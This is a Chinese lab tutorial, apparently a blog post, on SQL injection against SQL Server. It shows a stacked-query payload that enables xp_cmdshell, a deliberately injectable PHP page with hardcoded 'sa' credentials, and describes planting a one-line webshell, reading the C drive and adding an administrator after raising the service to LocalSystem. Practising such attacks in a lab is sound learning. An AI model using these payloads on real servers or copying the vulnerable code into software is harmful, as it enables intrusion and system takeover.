sql server 数据库可以通过xp_cmdshell组件执行一些系统命令
阻止可以看到sql server 数据库在默认这状态下阻止了xp_cmdshell的应用
通过以下命令进行开启:
开启xp_cmdshellid=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE ; -- '
虽然没有在页面回显,实际上已经开启xp_cmdshell
附加关闭xp_cmdshell
关闭xp_cmdshell写入一句话木马
没有报错查看文件
一句话木马已经写入进行验证
成功执行命令遍历C盘
为了确保准确语句是否执行成功,复制connect.php源代码到shell.php
因为需要在URL上执行两条或多条系统命令,需要修改源代码
源代码为
<?php
header("Content-type:text/html; charset=gbk");
$serverName = "127.0.0.1";
$uid="sa";
$pwd="123456";
$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");
$conn = sqlsrv_connect($serverName, $connectionInfo);
if($conn == false){
echo "连接失败!";
var_dump(sqlsrv_errors());
exit;
}else{
//echo "链接成功";
$id=$_GET['id'];
$sqls = "select * from users where id='".$id."'";
echo $sqls."<hr/>";
$sql=explode(';', $sqls);
//var_dump(sqlsrv_errors());
if(empty(sqlsrv_errors())){
$query = sqlsrv_query($conn,$sql[0]);
while($num=sqlsrv_fetch_array($query)){
echo $num['name'];
}
$query = @sqlsrv_query($conn,$sql[1]);
while($num=@sqlsrv_fetch_array($query)){
print_r($num);
}
}else{
$error=sqlsrv_errors();
echo $error[0][2];
}
sqlsrv_close($conn);
}
?>
保存进行访问,创建数据库
dirs数据表查看数据库,进行调整
插入数据
将C盘遍历插入到数据表中,查看
成功插入进行读取数据
读出C盘文件语句为:
id=1'; select top 100 paths from dirs;--'
自然可以执行dos命令
读取IP地址添加管理员
查看当前权限
network权限不懂该权限时什么意思,查找后为
此权限在该network权限下是无法添加管理员的,要想添加管理员
需要把当前用户的权限修改为localSystem权限进行运行
重启后再次执行
系统权限成功修改为system权限
再次添加管理员
成功完成附图:
网友评论